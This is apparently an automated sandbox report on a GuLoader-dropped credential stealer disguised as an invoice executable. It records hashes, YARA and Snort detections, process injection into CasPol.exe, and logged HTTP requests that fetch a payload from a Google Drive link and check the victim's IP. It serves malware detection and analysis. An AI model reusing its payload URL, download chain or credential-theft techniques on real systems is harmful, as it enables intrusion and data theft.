Edit tour

Windows Analysis Report
Rechung-R1663322504.exe

Overview

General Information

Sample Name:	Rechung-R1663322504.exe
Analysis ID:	829392
MD5:	11b5b208de7a85b46104a0597c5da7dc
SHA1:	c578bc317e666159cbfc191cb4e50de2de03ab79
SHA256:	0a80ba418f561098477e18cc42ddfc31796b2be3166ff6c99967b98388fe4826
Infos:

Detection

GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected BrowserPasswordDump

Yara detected GuLoader

Snort IDS alert for network traffic

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Tries to detect Any.run

Tries to harvest and steal ftp login credentials

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

May check the online IP address of the machine

Tries to harvest and steal browser information (history, passwords, etc)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

One or more processes crash

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Internet Provider seen in connection with other malware

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Yara detected Credential Stealer

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

IP address seen in connection with other malware

Enables debug privileges

AV process strings found (often used to terminate AV products)

Found inlined nop instructions (likely shell or obfuscated code)

Drops PE files

Tries to load missing DLLs

Uses a known web browser user agent for HTTP communication

PE / OLE file has an invalid certificate

Uses Microsoft's Enhanced Cryptographic Provider

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w10x64native

Rechung-R1663322504.exe (PID: 6340 cmdline: C:\Users\user\Desktop\Rechung-R1663322504.exe MD5: 11B5B208DE7A85B46104A0597C5DA7DC)

CasPol.exe (PID: 6560 cmdline: C:\Users\user\Desktop\Rechung-R1663322504.exe MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)

CasPol.exe (PID: 3312 cmdline: C:\Users\user\Desktop\Rechung-R1663322504.exe MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)

CasPol.exe (PID: 5220 cmdline: C:\Users\user\Desktop\Rechung-R1663322504.exe MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)

conhost.exe (PID: 5764 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

dw20.exe (PID: 9028 cmdline: dw20.exe -x -s 2584 MD5: 89106D4D0BA99F770EAFE946EA81BB65)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://blog.malwarebytes.com/scams/2020/08/sba-phishing-scams-from-malware-to-advanced-social-engineering/ https://blog.morphisec.com/guloader-the-rat-downloader https://blog.vincss.net/2020/05/re014-guloader-antivm-techniques.html https://cert-agid.gov.it/news/malware/tecniche-per-semplificare-lanalisi-del-malware-guloader/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000007.00000002.52561610808.0000000037520000.00000004.08000000.00040000.00000000.sdmp	HKTL_NET_GUID_BrowserPass	Detects c# red/black-team tools via typelibguid	Arnim Rupp (https://github.com/ruppde)	0x35a3:$typelibguid0: 3cb59871-0dce-453b-857a-2d1e515b0b66
00000007.00000002.52561610808.0000000037520000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
00000007.00000002.52540526737.0000000034E8C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
00000007.00000002.52560446262.0000000036F71000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
00000007.00000002.52540526737.0000000034E46000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
00000007.00000002.52540526737.0000000034D71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.52371090291.000000000690B000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: CasPol.exe PID: 5220	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
Process Memory Space: CasPol.exe PID: 5220	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
7.2.CasPol.exe.37520000.3.unpack	HKTL_NET_GUID_BrowserPass	Detects c# red/black-team tools via typelibguid	Arnim Rupp (https://github.com/ruppde)	0x17a3:$typelibguid0: 3cb59871-0dce-453b-857a-2d1e515b0b66
7.2.CasPol.exe.37520000.3.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
7.2.CasPol.exe.37520000.3.raw.unpack	HKTL_NET_GUID_BrowserPass	Detects c# red/black-team tools via typelibguid	Arnim Rupp (https://github.com/ruppde)	0x35a3:$typelibguid0: 3cb59871-0dce-453b-857a-2d1e515b0b66
7.2.CasPol.exe.37520000.3.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security

Snort Signatures

ET TROJAN 404/Snake/Matiex Keylogger Style External IP Check - Source IP: 192.168.11.20 - Destination IP: 158.101.44.242

Timestamp:	192.168.11.20158.101.44.24249845802039190 03/18/23-05:38:08.943594
SID:	2039190
Source Port:	49845
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: Rechung-R1663322504.exe	ReversingLabs: Detection: 30%
Source: Rechung-R1663322504.exe	Virustotal: Detection: 37%			Perma Link

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_370F1C22 CryptUnprotectData,		7_2_370F1C22
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_370F1BF9 CryptUnprotectData,		7_2_370F1BF9

Source: Rechung-R1663322504.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 142.250.184.206:443 -> 192.168.11.20:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.129:443 -> 192.168.11.20:49844 version: TLS 1.2

Source: Rechung-R1663322504.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Development\Releases\Json\Working\Src\Newtonsoft.Json\bin\Release\DotNet20\7d562147-cd91-4fc9-8abf-f0e85d79adad\Newtonsoft.Json.Net20.pdb source: CasPol.exe, 00000007.00000002.52546988980.0000000035EB7000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000007.00000002.52540526737.0000000034EBB000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000007.00000002.52546988980.0000000035F86000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000007.00000002.52561889914.0000000037600000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\C L A Y\Desktop\BrowserPass-master\BrowserPass\obj\Debug\BrowserPass.pdb source: CasPol.exe, 00000007.00000002.52561610808.0000000037520000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: -Cl#"costura.browserpass.pdb.compressed source: CasPol.exe, 00000007.00000002.52540526737.0000000034D71000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\C L A Y\Desktop\BrowserPass-master\BrowserPass\obj\Debug\BrowserPass.pdbPUjU \U_CorDllMainmscoree.dll source: CasPol.exe, 00000007.00000002.52561610808.0000000037520000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: -Cl-,costura.newtonsoft.json.net20.pdb.compressed,)Cl\| source: CasPol.exe, 00000007.00000002.52540526737.0000000034D71000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	Code function: 1_2_00402862 FindFirstFileW,	1_2_00402862
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	Code function: 1_2_0040596D GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	1_2_0040596D
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	Code function: 1_2_004065A2 FindFirstFileW,FindClose,	1_2_004065A2

Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts	Jump to behavior
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D2C109h	7_2_00D2BE60
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D2AB79h	7_2_00D2A8D0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D23F79h	7_2_00D23CD0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D20769h	7_2_00D204C0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D24C69h	7_2_00D249C0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D2B869h	7_2_00D2B5C0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D29171h	7_2_00D28EC8
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D22599h	7_2_00D222F0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then lea esp, dword ptr [ebp-0Ch]	7_2_00D263FA
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D23289h	7_2_00D22FE0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D22E39h	7_2_00D22B90
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D23B29h	7_2_00D23880
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D2A729h	7_2_00D2A480
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D28459h	7_2_00D281B0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D21459h	7_2_00D211B0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D29E61h	7_2_00D29BB8
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D22149h	7_2_00D21EA0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D21CF9h	7_2_00D21A50
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D229E9h	7_2_00D22740
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D2B419h	7_2_00D2B170
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D24819h	7_2_00D24570
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D20319h	7_2_00D20070
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D28D21h	7_2_00D28A78
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D21009h	7_2_00D20D60
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D29A11h	7_2_00D29768
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D20BB9h	7_2_00D20910
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D2BCB9h	7_2_00D2BA10
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D295C1h	7_2_00D29318
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then lea esp, dword ptr [ebp-0Ch]	7_2_00D26400
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D218A9h	7_2_00D21600
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D2A2DAh	7_2_00D2A030
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D236D9h	7_2_00D23430
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D2AFC9h	7_2_00D2AD20
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D243C9h	7_2_00D24120
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 00D288D1h	7_2_00D28628
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then lea esp, dword ptr [ebp-0Ch]	7_2_00D26729
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 36F2DF29h	7_2_36F2DC70
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 36F2F4B9h	7_2_36F2F200
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 36F22971h	7_2_36F22588
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 36F223E3h	7_2_36F2212B
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then mov esp, ebp	7_2_36F2B0F0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then mov esp, ebp	7_2_36F2B0E0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 36F2DBCDh	7_2_36F2CED0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 36F2E379h	7_2_36F2E0C0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 36F22971h	7_2_36F228A0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 36F2FD59h	7_2_36F2FAAE
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 36F2F909h	7_2_36F2F650
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h	7_2_36F2CA29
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h	7_2_36F2CC08
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h	7_2_36F2C3E8
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 36F2F069h	7_2_36F2EDB0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 36F22971h	7_2_36F22586
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 36F2EC19h	7_2_36F2E961
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 4x nop then jmp 36F2E7C9h	7_2_36F2E510

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2039190 ET TROJAN 404/Snake/Matiex Keylogger Style External IP Check 192.168.11.20:49845 -> 158.101.44.242:80

May check the online IP address of the machine

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: checkip.dyndns.org

Source: Joe Sandbox View

ASN Name: ORACLE-BMC-31898US ORACLE-BMC-31898US

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Joe Sandbox View

IP Address: 158.101.44.242 158.101.44.242

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RhzoPq21Mbz1UprqcH2DXnwFIoRgz7-l HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/eu361v7891419i1as1r1dl2nqlomasvu/1679114250000/12853136832670220481/*/1RhzoPq21Mbz1UprqcH2DXnwFIoRgz7-l?e=download&uuid=687b7ba6-caf7-4f82-8267-8cb96e77380a HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-04-c4-docs.googleusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: CasPol.exe, 00000007.00000002.52540526737.0000000034D71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: CasPol.exe, 00000007.00000002.52540526737.0000000034D71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: Rechung-R1663322504.exe	String found in binary or memory: http://crl.certum.pl/ctnca.crl0k
Source: Rechung-R1663322504.exe	String found in binary or memory: http://crl.certum.pl/ctnca2.crl0l
Source: Rechung-R1663322504.exe	String found in binary or memory: http://crl.certum.pl/ctsca2021.crl0o
Source: CasPol.exe, 00000007.00000003.52341294724.000000000429A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000007.00000002.52522416612.00000000042B3000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000007.00000003.52345673392.00000000042B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: CasPol.exe, 00000007.00000003.52341294724.000000000429A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000007.00000003.52345673392.00000000042AE000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000007.00000002.52522416612.00000000042AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: CasPol.exe, 00000007.00000003.52345673392.0000000004296000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micros
Source: CasPol.exe, 00000007.00000002.52560446262.0000000036F51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoft.
Source: CasPol.exe, 00000007.00000002.52560446262.0000000036F51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoft.LinkId=42127
Source: CasPol.exe, 00000007.00000002.52561889914.0000000037600000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: Rechung-R1663322504.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Rechung-R1663322504.exe	String found in binary or memory: http://repository.certum.pl/ctnca.cer09
Source: Rechung-R1663322504.exe	String found in binary or memory: http://repository.certum.pl/ctnca2.cer09
Source: Rechung-R1663322504.exe	String found in binary or memory: http://repository.certum.pl/ctsca2021.cer0
Source: Rechung-R1663322504.exe	String found in binary or memory: http://subca.ocsp-certum.com01
Source: Rechung-R1663322504.exe	String found in binary or memory: http://subca.ocsp-certum.com02
Source: Rechung-R1663322504.exe	String found in binary or memory: http://subca.ocsp-certum.com05
Source: Amcache.hve.LOG1.9.dr, Amcache.hve.9.dr	String found in binary or memory: http://upx.sf.net
Source: Rechung-R1663322504.exe	String found in binary or memory: http://www.certum.pl/CPS0
Source: CasPol.exe, 00000007.00000002.52522416612.0000000004268000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000007.00000003.52345673392.00000000042C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://doc-04-c4-docs.googleusercontent.com/
Source: CasPol.exe, 00000007.00000002.52522416612.00000000042E0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000007.00000003.52341294724.00000000042E4000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000007.00000003.52345673392.00000000042E1000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000007.00000002.52522416612.0000000004283000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://doc-04-c4-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/eu361v78
Source: CasPol.exe, 00000007.00000002.52522416612.000000000422B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: CasPol.exe, 00000007.00000002.52522416612.0000000004268000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000007.00000002.52537250560.0000000033B30000.00000004.00001000.00020000.00000000.sdmp, CasPol.exe, 00000007.00000002.52522416612.000000000422B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1RhzoPq21Mbz1UprqcH2DXnwFIoRgz7-l
Source: CasPol.exe, 00000007.00000002.52522416612.0000000004268000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1RhzoPq21Mbz1UprqcH2DXnwFIoRgz7-lf0
Source: CasPol.exe, 00000007.00000002.52522416612.000000000422B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1RhzoPq21Mbz1UprqcH2DXnwFIoRgz7-lha
Source: CasPol.exe, 00000007.00000002.52522416612.0000000004268000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1RhzoPq21Mbz1UprqcH2DXnwFIoRgz7-ltsvcs
Source: CasPol.exe, 00000007.00000002.52540526737.0000000034EBB000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000007.00000002.52540526737.0000000034E3B000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000007.00000002.52540526737.0000000034E46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/
Source: CasPol.exe, 00000007.00000002.52540526737.0000000034EBB000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000007.00000002.52540526737.0000000034E3B000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000007.00000002.52540526737.0000000034E46000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000007.00000002.52546988980.0000000036246000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000007.00000002.52546988980.000000003625C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com//
Source: CasPol.exe, 00000007.00000002.52540526737.0000000034EB1000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000007.00000002.52540526737.0000000034EBB000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000007.00000002.52540526737.0000000034E3B000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000007.00000002.52540526737.0000000034E46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/https://login.live.com/
Source: CasPol.exe, 00000007.00000002.52546988980.0000000036246000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000007.00000002.52546988980.000000003625C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/https://login.live.com/P
Source: CasPol.exe, 00000007.00000002.52540526737.0000000034EBB000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000007.00000002.52540526737.0000000034E3B000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000007.00000002.52540526737.0000000034E46000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000007.00000002.52546988980.0000000036246000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000007.00000002.52546988980.000000003625C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/v104
Source: CasPol.exe, 00000007.00000002.52540526737.0000000034E46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash

Source: unknown

DNS traffic detected: queries for: drive.google.com

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Code function: 7_2_34B6A09A recv,

7_2_34B6A09A

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1RhzoPq21Mbz1UprqcH2DXnwFIoRgz7-l HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/eu361v7891419i1as1r1dl2nqlomasvu/1679114250000/12853136832670220481/*/1RhzoPq21Mbz1UprqcH2DXnwFIoRgz7-l?e=download&uuid=687b7ba6-caf7-4f82-8267-8cb96e77380a HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-04-c4-docs.googleusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 142.250.184.206:443 -> 192.168.11.20:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.129:443 -> 192.168.11.20:49844 version: TLS 1.2

Source: C:\Users\user\Desktop\Rechung-R1663322504.exe

Code function: 1_2_00405402 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

1_2_00405402

Source: Rechung-R1663322504.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 7.2.CasPol.exe.37520000.3.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_GUID_BrowserPass date = 2020-12-28, author = Arnim Rupp (https://github.com/ruppde), description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/jabiel/BrowserPass, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
